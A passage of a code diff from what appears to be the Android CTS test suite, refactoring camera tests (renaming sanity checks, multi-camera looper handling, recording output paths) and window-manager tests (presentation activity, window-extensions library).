+            }
+
             if (inputReader != null) {
                 inputReader.close();
             }
@@ -1829,7 +1839,7 @@
                 { LEGACY_COMBINATIONS, LIMITED_COMBINATIONS, BURST_COMBINATIONS, FULL_COMBINATIONS,
                   RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -1965,7 +1975,7 @@
         final int[][][] TABLES =
                 { LIMITED_COMBINATIONS, FULL_COMBINATIONS, RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -2091,9 +2101,9 @@
     }
 
     /**
-     * Sanity check the configuration tables.
+     * Verify correctness of the configuration tables.
      */
-    private void sanityCheckConfigurationTables(final int[][][] tables) throws Exception {
+    private void validityCheckConfigurationTables(final int[][][] tables) throws Exception {
         int tableIdx = 0;
         for (int[][] table : tables) {
             int rowIdx = 0;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 991649e..5f2f961 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1564,9 +1564,9 @@
     }
 
     /**
-     * Validate JPEG capture image object sanity and test.
+     * Validate JPEG capture image object correctness and test.
      * <p>
-     * In addition to image object sanity, this function also does the decoding
+     * In addition to image object correctness, this function also does the decoding
      * test, which is slower.
      * </p>
      *
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index c8330f7..c2645ad 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -75,6 +75,7 @@
     private static final String TAG = "CameraTest";
     private static final String PACKAGE = "android.hardware.cts";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private String mRecordingPath = null;
     private String mJpegPath = null;
     private byte[] mJpegData;
 
@@ -151,31 +152,50 @@
      * receive the callback messages.
      */
     private void initializeMessageLooper(final int cameraId) throws IOException {
+        LooperInfo looperInfo = new LooperInfo();
+        initializeMessageLooper(cameraId, mErrorCallback, looperInfo);
+        mIsExternalCamera = looperInfo.isExternalCamera;
+        mCamera = looperInfo.camera;
+        mLooper = looperInfo.looper;
+    }
+
+    private final class LooperInfo {
+        Camera camera = null;
+        Looper looper = null;
+        boolean isExternalCamera = false;
+    };
+
+    /*
+     * Initializes the message looper so that the Camera object can
+     * receive the callback messages.
+     */
+    private void initializeMessageLooper(final int cameraId, final ErrorCallback errorCallback,
+            LooperInfo looperInfo) throws IOException {
         final ConditionVariable startDone = new ConditionVariable();
         final CameraCtsActivity activity = mActivityRule.getActivity();
         new Thread() {
             @Override
             public void run() {
-                Log.v(TAG, "start loopRun");
+                Log.v(TAG, "start loopRun for cameraId " + cameraId);
                 // Set up a looper to be used by camera.
                 Looper.prepare();
                 // Save the looper so that we can terminate this thread
                 // after we are done with it.
-                mLooper = Looper.myLooper();
+                looperInfo.looper = Looper.myLooper();
                 try {
-                    mIsExternalCamera = CameraUtils.isExternal(
+                    looperInfo.isExternalCamera = CameraUtils.isExternal(
                             activity.getApplicationContext(), cameraId);
                 } catch (Exception e) {
                     Log.e(TAG, "Unable to query external camera!" + e);
                 }
 
                 try {
-                    mCamera = Camera.open(cameraId);
-                    mCamera.setErrorCallback(mErrorCallback);
+                    looperInfo.camera = Camera.open(cameraId);
+                    looperInfo.camera.setErrorCallback(errorCallback);
                 } catch (RuntimeException e) {
-                    Log.e(TAG, "Fail to open camera." + e);
+                    Log.e(TAG, "Fail to open camera id " + cameraId + ": " + e);
                 }
-                Log.v(TAG, "camera is opened");
+                Log.v(TAG, "camera" + cameraId + " is opened");
                 startDone.open();
                 Looper.loop(); // Blocks forever until Looper.quit() is called.
                 if (VERBOSE) Log.v(TAG, "initializeMessageLooper: quit.");
@@ -187,14 +207,14 @@
             Log.v(TAG, "initializeMessageLooper: start timeout");
             fail("initializeMessageLooper: start timeout");
         }
-        assertNotNull("Fail to open camera.", mCamera);
-        mCamera.setPreviewDisplay(activity.getSurfaceView().getHolder());
-
+        assertNotNull("Fail to open camera " + cameraId, looperInfo.camera);
+        looperInfo.camera.setPreviewDisplay(activity.getSurfaceView().getHolder());
         File parent = activity.getPackageManager().isInstantApp()
                 ? activity.getFilesDir()
                 : activity.getExternalFilesDir(null);
 
         mJpegPath = parent.getPath() + "/test.jpg";
+        mRecordingPath = parent.getPath() + "/test_video.mp4";
     }
 
     /*
@@ -208,21 +228,33 @@
      * Terminates the message looper thread, optionally allowing evict error
      */
     private void terminateMessageLooper(boolean allowEvict) throws Exception {
-        mLooper.quit();
+        LooperInfo looperInfo = new LooperInfo();
+        looperInfo.camera = mCamera;
+        looperInfo.looper = mLooper;
+        terminateMessageLooper(allowEvict, mCameraErrorCode, looperInfo);
+        mCamera = null;
+    }
+
+    /*
+     * Terminates the message looper thread, optionally allowing evict error
+     */
+    private void terminateMessageLooper(final boolean allowEvict, final int errorCode,
+            final LooperInfo looperInfo) throws Exception {
+        looperInfo.looper.quit();
         // Looper.quit() is asynchronous. The looper may still has some
         // preview callbacks in the queue after quit is called. The preview
         // callback still uses the camera object (setHasPreviewCallback).
         // After camera is released, RuntimeException will be thrown from
         // the method. So we need to join the looper thread here.
-        mLooper.getThread().join();
-        mCamera.release();
-        mCamera = null;
+        looperInfo.looper.getThread().join();
+        looperInfo.camera.release();
+        looperInfo.camera = null;
         if (allowEvict) {
             assertTrue("Got unexpected camera error callback.",
-                    (NO_ERROR == mCameraErrorCode ||
-                    Camera.CAMERA_ERROR_EVICTED == mCameraErrorCode));
+                    (NO_ERROR == errorCode ||
+                    Camera.CAMERA_ERROR_EVICTED == errorCode));
         } else {
-            assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+            assertEquals("Got camera error callback.", NO_ERROR, errorCode);
         }
     }
 
@@ -342,6 +374,15 @@
         }
     }
 
+    // parent independent version of TestErrorCallback
+    private static final class TestErrorCallbackI implements ErrorCallback {
+        private int mCameraErrorCode = NO_ERROR;
+        public void onError(int error, Camera camera) {
+            Log.e(TAG, "Got camera error=" + error);
+            mCameraErrorCode = error;
+        }
+    }
+
     private final class AutoFocusCallback
             implements android.hardware.Camera.AutoFocusCallback {
         public void onAutoFocus(boolean success, Camera camera) {
@@ -1004,9 +1045,9 @@
     }
 
     /**
-     * Sanity check of some extra exif tags.
+     * Correctness check of some extra exif tags.
      * <p>
-     * Sanity check some extra exif tags without asserting the check failures
+     * Check some extra exif tags without asserting the check failures
      * immediately. When a failure is detected, the failure cause is logged,
      * the rest of the tests are still executed. The caller can assert with the
      * failure cause based on the returned test status.
@@ -1330,7 +1371,7 @@
             recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
             recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             recorder.setVideoSize(size.width, size.height);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -1377,7 +1418,7 @@
             recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
             recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
             recorder.setProfile(profile);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -2552,54 +2593,53 @@
         testCamera0.release();
         testCamera1.release();
 
-        // Start first camera
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 0");
-        initializeMessageLooper(0);
-        SimplePreviewStreamCb callback0 = new SimplePreviewStreamCb(0);
-        mCamera.setPreviewCallback(callback0);
+        LooperInfo looperInfo0 = new LooperInfo();
+        LooperInfo looperInfo1 = new LooperInfo();
+
+        ConditionVariable previewDone0 = new ConditionVariable();
+        ConditionVariable previewDone1 = new ConditionVariable();
+        // Open both cameras camera
+        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening cameras 0 and 1");
+        TestErrorCallbackI errorCallback0 = new TestErrorCallbackI();
+        TestErrorCallbackI errorCallback1 = new TestErrorCallbackI();
+        initializeMessageLooper(0, errorCallback0, looperInfo0);
+        initializeMessageLooper(1, errorCallback1, looperInfo1);
+
+        SimplePreviewStreamCbI callback0 = new SimplePreviewStreamCbI(0, previewDone0);
+        looperInfo0.camera.setPreviewCallback(callback0);
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 0");
-        mCamera.startPreview();
+        looperInfo0.camera.startPreview();
         // Run preview for a bit
         for (int f = 0; f < 100; f++) {
-            mPreviewDone.close();
+            previewDone0.close();
             assertTrue("testMultiCameraRelease: First camera preview timed out on frame " + f + "!",
-                       mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+                       previewDone0.block( WAIT_FOR_COMMAND_TO_COMPLETE));
         }
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
-        mCamera.stopPreview();
-        // Save message looper and camera to deterministically release them, instead
-        // of letting GC do it at some point.
-        Camera firstCamera = mCamera;
-        Looper firstLooper = mLooper;
-        //terminateMessageLooper(); // Intentionally not calling this
-        // Preview surface should be released though!
-        mCamera.setPreviewDisplay(null);
+        looperInfo0.camera.stopPreview();
 
-        // Start second camera without releasing the first one (will
-        // set mCamera and mLooper to new objects)
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 1");
-        initializeMessageLooper(1);
-        SimplePreviewStreamCb callback1 = new SimplePreviewStreamCb(1);
-        mCamera.setPreviewCallback(callback1);
+        // Preview surface should be released though!
+        looperInfo0.camera.setPreviewDisplay(null);
+
+        SimplePreviewStreamCbI callback1 = new SimplePreviewStreamCbI(1, previewDone1);
+        looperInfo1.camera.setPreviewCallback(callback1);
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 1");
-        mCamera.startPreview();
-        // Run preview for a bit - GC of first camera instance should not impact the second's
-        // operation.
+        looperInfo1.camera.startPreview();
         for (int f = 0; f < 100; f++) {
-            mPreviewDone.close();
+            previewDone1.close();
             assertTrue("testMultiCameraRelease: Second camera preview timed out on frame " + f + "!",
-                       mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+                       previewDone1.block( WAIT_FOR_COMMAND_TO_COMPLETE));
             if (f == 50) {
                 // Release first camera mid-preview, should cause no problems
                 if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Releasing camera 0");
-                firstCamera.release();
+                looperInfo0.camera.release();
             }
         }
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
-        mCamera.stopPreview();
+        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 1");
+        looperInfo1.camera.stopPreview();
 
-        firstLooper.quit();
-        terminateMessageLooper(true/*allowEvict*/);
+        looperInfo0.looper.quit();
+        terminateMessageLooper(true, errorCallback1.mCameraErrorCode, looperInfo1);
     }
 
     // This callback just signals on the condition variable, making it useful for checking that
@@ -2616,6 +2656,21 @@
         }
     }
 
+    // Parent independent version of SimplePreviewStreamCb
+    private static final class SimplePreviewStreamCbI
+            implements android.hardware.Camera.PreviewCallback {
+        private int mId;
+        private ConditionVariable mPreviewDone = null;
+        public SimplePreviewStreamCbI(int id, ConditionVariable previewDone) {
+            mId = id;
+            mPreviewDone = previewDone;
+        }
+        public void onPreviewFrame(byte[] data, android.hardware.Camera camera) {
+            if (VERBOSE) Log.v(TAG, "Preview frame callback, id " + mId + ".");
+            mPreviewDone.open();
+        }
+    }
+
     @UiThreadTest
     @Test
     public void testFocusAreas() throws Exception {
@@ -2862,7 +2917,7 @@
             recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
             recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             recorder.setVideoSize(size.width, size.height);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -2883,7 +2938,7 @@
             recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
             recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
             recorder.setProfile(profile);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -3338,7 +3393,7 @@
                 recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
                 recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
                 recorder.setProfile(profile);
-                recorder.setOutputFile("/dev/null");
+                recorder.setOutputFile(mRecordingPath);
                 recorder.setPreviewDisplay(holder.getSurface());
                 recorder.prepare();
                 recorder.start();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 9561eb0..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
             List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
             List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
             List<ImageReader> rawTargets, List<ImageReader> heicTargets,
-            List<OutputConfiguration> outputConfigs,
+            List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
             int numBuffers, boolean substituteY8, boolean substituteHeic,
             String overridePhysicalCameraId, Handler handler) {
 
@@ -307,6 +307,18 @@
                     heicTargets.add(target);
                     break;
                 }
+                case ImageFormat.DEPTH16: {
+                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+                            targetSize.getHeight(), format, numBuffers);
+                    target.setOnImageAvailableListener(imageDropperListener, handler);
+                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
+                    if (overridePhysicalCameraId != null) {
+                        config.setPhysicalCameraId(overridePhysicalCameraId);
+                    }
+                    outputConfigs.add(config);
+                    depth16Targets.add(target);
+                    break;
+                }
                 default:
                     fail("Unknown output format " + format);
             }
@@ -395,7 +407,7 @@
                 image = reader.acquireNextImage();
             } finally {
                 if (image != null) {
-                    // Should only do some quick sanity check in callback, as the ImageReader
+                    // Should only do some quick validity checks in callback, as the ImageReader
                     // could be closed asynchronously, which will close all images acquired from
                     // this ImageReader.
                     checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
@@ -2443,7 +2455,7 @@
     /**
      * Simple validation of JPEG image size and format.
      * <p>
-     * Only validate the image object sanity. It is fast, but doesn't actually
+     * Only validate the image object basic correctness. It is fast, but doesn't actually
      * check the buffer data. Assert is used here as it make no sense to
      * continue the test if the jpeg image captured has some serious failures.
      * </p>
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
index cb9e522..bef3e26 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
@@ -22,7 +22,7 @@
 /**
  * Helper set of methods to perform precondition checks before starting method execution.
  *
- * <p>Typically used to sanity check arguments or the current object state.</p>
+ * <p>Typically used to validity check arguments or the current object state.</p>
  */
 public final class Preconditions {
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 332964c..a05af2a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -518,7 +518,7 @@
     }
 
     /**
-     * Get max AE regions and do sanity check.
+     * Get max AE regions and do validity check.
      *
      * @return AE max regions supported by the camera device
      */
@@ -531,7 +531,7 @@
     }
 
     /**
-     * Get max AWB regions and do sanity check.
+     * Get max AWB regions and do validity check.
      *
      * @return AWB max regions supported by the camera device
      */
@@ -544,7 +544,7 @@
     }
 
     /**
-     * Get max AF regions and do sanity check.
+     * Get max AF regions and do validity check.
      *
      * @return AF max regions supported by the camera device
      */
@@ -628,7 +628,7 @@
     }
 
     /**
-     * Get available thumbnail sizes and do the sanity check.
+     * Get available thumbnail sizes and do the validity check.
      *
      * @return The array of available thumbnail sizes
      */
@@ -656,7 +656,7 @@
     }
 
     /**
-     * Get available focal lengths and do the sanity check.
+     * Get available focal lengths and do the validity check.
      *
      * @return The array of available focal lengths
      */
@@ -677,7 +677,7 @@
     }
 
     /**
-     * Get available apertures and do the sanity check.
+     * Get available apertures and do the validity check.
      *
      * @return The non-null array of available apertures
      */
@@ -992,7 +992,7 @@
     }
 
     /**
-     * Get hyperfocalDistance and do the sanity check.
+     * Get hyperfocalDistance and do the validity check.
      * <p>
      * Note that, this tag is optional, will return -1 if this tag is not
      * available.
@@ -1151,7 +1151,7 @@
     }
 
     /**
-     * get android.control.availableModes and do the sanity check.
+     * get android.control.availableModes and do the validity check.
      *
      * @return available control modes.
      */
@@ -1207,7 +1207,7 @@
     }
 
     /**
-     * Get aeAvailableModes and do the sanity check.
+     * Get aeAvailableModes and do the validity check.
      *
      * <p>Depending on the check level this class has, for WAR or COLLECT levels,
      * If the aeMode list is invalid, return an empty mode array. The the caller doesn't
@@ -1277,7 +1277,7 @@
     }
 
     /**
-     * Get available AWB modes and do the sanity check.
+     * Get available AWB modes and do the validity check.
      *
      * @return array that contains available AWB modes, empty array if awbAvailableModes is
      * unavailable.
@@ -1303,7 +1303,7 @@
     }
 
     /**
-     * Get available AF modes and do the sanity check.
+     * Get available AF modes and do the validity check.
      *
      * @return array that contains available AF modes, empty array if afAvailableModes is
      * unavailable.
@@ -1691,7 +1691,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationStep and do the sanity check.
+     * Get value of key android.control.aeCompensationStep and do the validity check.
      *
      * @return default value if the value is null.
      */
@@ -1716,7 +1716,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationRange and do the sanity check.
+     * Get value of key android.control.aeCompensationRange and do the validity check.
      *
      * @return default value if the value is null or malformed.
      */
@@ -1746,7 +1746,7 @@
     }
 
     /**
-     * Get availableVideoStabilizationModes and do the sanity check.
+     * Get availableVideoStabilizationModes and do the validity check.
      *
      * @return available video stabilization modes, empty array if it is unavailable.
      */
@@ -1777,7 +1777,7 @@
     }
 
     /**
-     * Get availableOpticalStabilization and do the sanity check.
+     * Get availableOpticalStabilization and do the validity check.
      *
      * @return available optical stabilization modes, empty array if it is unavailable.
      */
@@ -1967,7 +1967,7 @@
     }
 
     /**
-     * Get max pipeline depth and do the sanity check.
+     * Get max pipeline depth and do the validity check.
      *
      * @return max pipeline depth, default value if it is not available.
      */
@@ -2033,7 +2033,7 @@
 
 
     /**
-     * Get available capabilities and do the sanity check.
+     * Get available capabilities and do the validity check.
      *
      * @return reported available capabilities list, empty list if the value is unavailable.
      */
@@ -2299,7 +2299,7 @@
     }
 
     /**
-     * Get max number of output raw streams and do the basic sanity check.
+     * Get max number of output raw streams and do the basic validity check.
      *
      * @return reported max number of raw output stream
      */
@@ -2312,7 +2312,7 @@
     }
 
     /**
-     * Get max number of output processed streams and do the basic sanity check.
+     * Get max number of output processed streams and do the basic validity check.
      *
      * @return reported max number of processed output stream
      */
@@ -2325,7 +2325,7 @@
     }
 
     /**
-     * Get max number of output stalling processed streams and do the basic sanity check.
+     * Get max number of output stalling processed streams and do the basic validity check.
      *
      * @return reported max number of stalling processed output stream
      */
@@ -2338,7 +2338,7 @@
     }
 
     /**
-     * Get lens facing and do the sanity check
+     * Get lens facing and do the validity check
      * @return lens facing, return default value (BACK) if value is unavailable.
      */
     public int getLensFacingChecked() {
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 981f59f..e17658a 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -591,6 +591,7 @@
             android:exported="true" />
         <activity
             android:name=".PresentationActivity"
+            android:launchMode="singleTop"
             android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index 3adf5d7..fd44271 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -26,7 +26,6 @@
     public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
             Configuration newConfig) {
         super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
-            getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, false);
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
index fc5490e..cdbae07 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
@@ -18,6 +18,7 @@
 
 import android.app.Activity;
 import android.app.Presentation;
+import android.content.Intent;
 import android.graphics.Color;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
@@ -30,31 +31,39 @@
 public class PresentationActivity extends Activity {
 
     private static final String TAG = PresentationActivity.class.getSimpleName();
+    private Presentation mPresentation;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        createPresentationWindow(getIntent());
+    }
 
-        int displayId = getIntent().getExtras().getInt(
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        createPresentationWindow(intent);
+    }
+
+    private void createPresentationWindow(Intent intent) {
+        int displayId = intent.getExtras().getInt(
                 Components.PresentationActivity.KEY_DISPLAY_ID);
 
         Display presentationDisplay =
                 getSystemService(DisplayManager.class).getDisplay(displayId);
 
-        createPresentationWindow(presentationDisplay);
-    }
-
-    private void createPresentationWindow(Display display) {
         final TextView view = new TextView(this);
         view.setText("I'm a presentation");
         view.setGravity(Gravity.CENTER);
         view.setBackgroundColor(Color.RED);
-
-        final Presentation presentation = new Presentation(this, display);
-        presentation.setContentView(view);
-        presentation.setTitle(getPackageName());
+        if (mPresentation != null) {
+            mPresentation.dismiss();
+        }
+        mPresentation = new Presentation(this, presentationDisplay);
+        mPresentation.setContentView(view);
+        mPresentation.setTitle(getPackageName());
         try {
-            presentation.show();
+            mPresentation.show();
         } catch (WindowManager.InvalidDisplayException e) {
             Log.w(TAG, "Presentation blocked", e);
         }
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index f330299..f0cc7cc 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -13,6 +13,21 @@
 // limitations under the License.
 
 android_library_import {
+    name: "cts_window-extensions_nodeps",
+    aars: ["window-extensions-release.aar"],
+    sdk_version: "current",
+}
+
+java_library {
+    name: "cts_window-extensions",
+    sdk_version: "current",
+    static_libs: [
+        "cts_window-extensions_nodeps",
+    ],
+    installable: false,
+}
+
+android_library_import {
     name: "cts_window-sidecar_nodeps",
     aars: ["window-sidecar-release.aar"],
     sdk_version: "current",
@@ -39,8 +54,8 @@
         "platform-test-annotations",
     ],
     libs: [
-        "androidx.window.extensions",
         "android.test.base.stubs",
+        "cts_window-extensions",
         "cts_window-sidecar",
     ],
     test_suites: [
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 8880904..0686443 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -16,6 +16,8 @@
 
 package android.server.wm.jetpack;
 
+import static android.server.wm.jetpack.ExtensionUtils.assertEqualsState;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeFalse;
@@ -168,8 +170,8 @@
         mExtension.onDeviceStateListenersChanged(true /* isEmpty */);
         TestDeviceState deviceState3 = mExtension.getDeviceState();
 
-        assertThat(deviceState1).isEqualTo(deviceState2);
-        assertThat(deviceState1).isEqualTo(deviceState3);
+        assertEqualsState(deviceState1, deviceState2);
+        assertEqualsState(deviceState1, deviceState3);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
index 82b049e..1aef84e 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
@@ -21,9 +21,11 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
+import android.server.wm.jetpack.wrapper.TestDeviceState;
 import android.server.wm.jetpack.wrapper.extensionwrapperimpl.TestExtensionCompat;
 import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarCompat;
 import android.server.wm.jetpack.wrapper.TestInterfaceCompat;
+import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarDeviceState;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -53,15 +55,22 @@
         }
     }
 
+    static void assertEqualsState(TestDeviceState left, TestDeviceState right) {
+        if (left instanceof TestSidecarDeviceState && right instanceof TestSidecarDeviceState) {
+            assertThat(left.getPosture()).isEqualTo(right.getPosture());
+        } else {
+            assertThat(left).isEqualTo(right);
+        }
+    }
+
     /**
      * Gets the vendor provided Extension implementation if available. If not available, gets the
      * Sidecar implementation (deprecated). If neither is available, returns {@code null}.
      */
     @Nullable
     static TestInterfaceCompat getInterfaceCompat(Context context) {
-        if (!TextUtils.isEmpty(getExtensionVersion())) {
-            return getExtensionInterfaceCompat(context);
-        } else if (!TextUtils.isEmpty(getSidecarVersion())) {
+        // TODO(b/158876142) Reinstate android.window.extension
+        if (!TextUtils.isEmpty(getSidecarVersion())) {
             return getSidecarInterfaceCompat(context);
         }
         return null;
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
index 63a2a44..76e920a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
@@ -24,7 +24,7 @@
 
 /** Extension interface compatibility wrapper for v0.1 sidecar. */
 @SuppressWarnings("deprecation")
-final class TestSidecarDeviceState implements TestDeviceState {
+public final class TestSidecarDeviceState implements TestDeviceState {
 
     @Nullable
     static TestSidecarDeviceState create(@Nullable SidecarDeviceState sidecarDeviceState) {
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
new file mode 100644
index 0000000..0ebbb86
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e005059..859eb29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -64,12 +64,10 @@
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.server.wm.settings.SettingsSession;
 import android.view.Display;
 
 import org.junit.Test;
@@ -452,10 +450,9 @@
     public void testRotatedInfoWithFixedRotationTransform() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
-        // TODO(b/143053092): Remove the settings if it becomes stable.
-        mObjectTracker.manage(new SettingsSession<>(
-                Settings.Global.getUriFor("fixed_rotation_transform"),
-                Settings.Global::getInt, Settings.Global::putInt)).set(1);
+        // Start a portrait activity first to ensure that the orientation will change.
+        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
 
         getLaunchActivityBuilder()
                 .setUseInstrumentation()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
